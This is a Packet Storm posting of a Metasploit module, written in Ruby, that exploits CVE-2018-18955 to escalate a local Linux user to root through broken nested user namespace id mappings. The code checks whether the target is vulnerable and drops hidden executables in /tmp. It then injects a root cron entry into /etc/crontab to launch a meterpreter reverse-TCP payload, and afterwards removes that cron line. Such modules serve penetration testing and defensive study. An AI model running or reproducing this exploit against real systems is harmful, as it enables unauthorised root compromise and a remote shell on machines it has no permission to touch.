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Linux Nested User Namespace idmap Limit Local Privilege Escalation

Linux Nested User Namespace idmap Limit Local Privilege Escalation
Posted Nov 28, 2018
Authored by Brendan Coles, Jann Horn | Site metasploit.com

This Metasploit module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user namespaces and kernel uid/gid mappings allow elevation to root (CVE-2018-18955). The target system must have unprivileged user namespaces enabled and the newuidmap and newgidmap helpers installed (from uidmap package). This Metasploit module has been tested successfully on: Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64; Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64); Linux Mint 19 kernel 4.15.0-20-generic (x86_64); Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).

tags | exploit, kernel, root
systems | linux, fedora, ubuntu
advisories | CVE-2018-18955
SHA-256 | c991b79ae898a222baf512ec75bc5ae786505466b71b6453fd873f6b5482343c

Linux Nested User Namespace idmap Limit Local Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
namespaces and kernel uid/gid mappings allow elevation to root
(CVE-2018-18955).

The target system must have unprivileged user namespaces enabled and
the newuidmap and newgidmap helpers installed (from uidmap package).

This module has been tested successfully on:

Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 15 2018',
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Privileged' => true,
'References' =>
[
['BID', '105941'],
['CVE', '2018-18955'],
['EDB', '45886'],
['PACKETSTORM', '150381'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],
['URL', 'https://lwn.net/Articles/532593/'],
['URL', 'https://bugs.launchpad.net/bugs/1801924'],
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'AppendExit' => true,
'PrependSetresuid' => true,
'PrependSetreuid' => true,
'PrependSetuid' => true,
'PrependFork' => true,
'WfsDelay' => 60,
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
},
'Notes' =>
{
'AKA' => ['subuid_shell.c']
}
))
register_options [
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def upload_and_compile(path, data)
upload "#{path}.c", data

gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end

register_file_for_cleanup path
chmod path, 0755
end

def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)
end

def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

if has_gcc?
vprint_good 'gcc is installed'
return true
end

unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end

def check
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'

['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
unless setuid? path
vprint_error "#{path} is not set-uid"
return CheckCode::Safe
end
vprint_good "#{path} is set-uid"
end

# Patched in 4.18.19 and 4.19.2
release = kernel_release
v = Gem::Version.new release.split('-').first
if v < Gem::Version.new('4.15') ||
v >= Gem::Version.new('4.19.2') ||
(v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19'))
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"

CheckCode::Appears
end

def on_new_session(session)
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""
else
session.shell_command("/bin/sed -i '\$ d' /etc/crontab")
end
ensure
super
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload executables
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
subshell_name = ".#{rand_text_alphanumeric 5..10}"
subshell_path = "#{base_dir}/#{subshell_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
upload_and_compile subshell_path, exploit_data('subshell.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
upload_and_chmodx subshell_path, exploit_data('subshell.out')
end

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Adding cron job...'
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
output.each_line { |line| vprint_status line.chomp }

crontab = read_file '/etc/crontab'
unless crontab.include? payload_path
fail_with Failure::Unknown, 'Failed to add cronjob'
end

print_good 'Success. Waiting for job to run (may take a minute)...'
end
end
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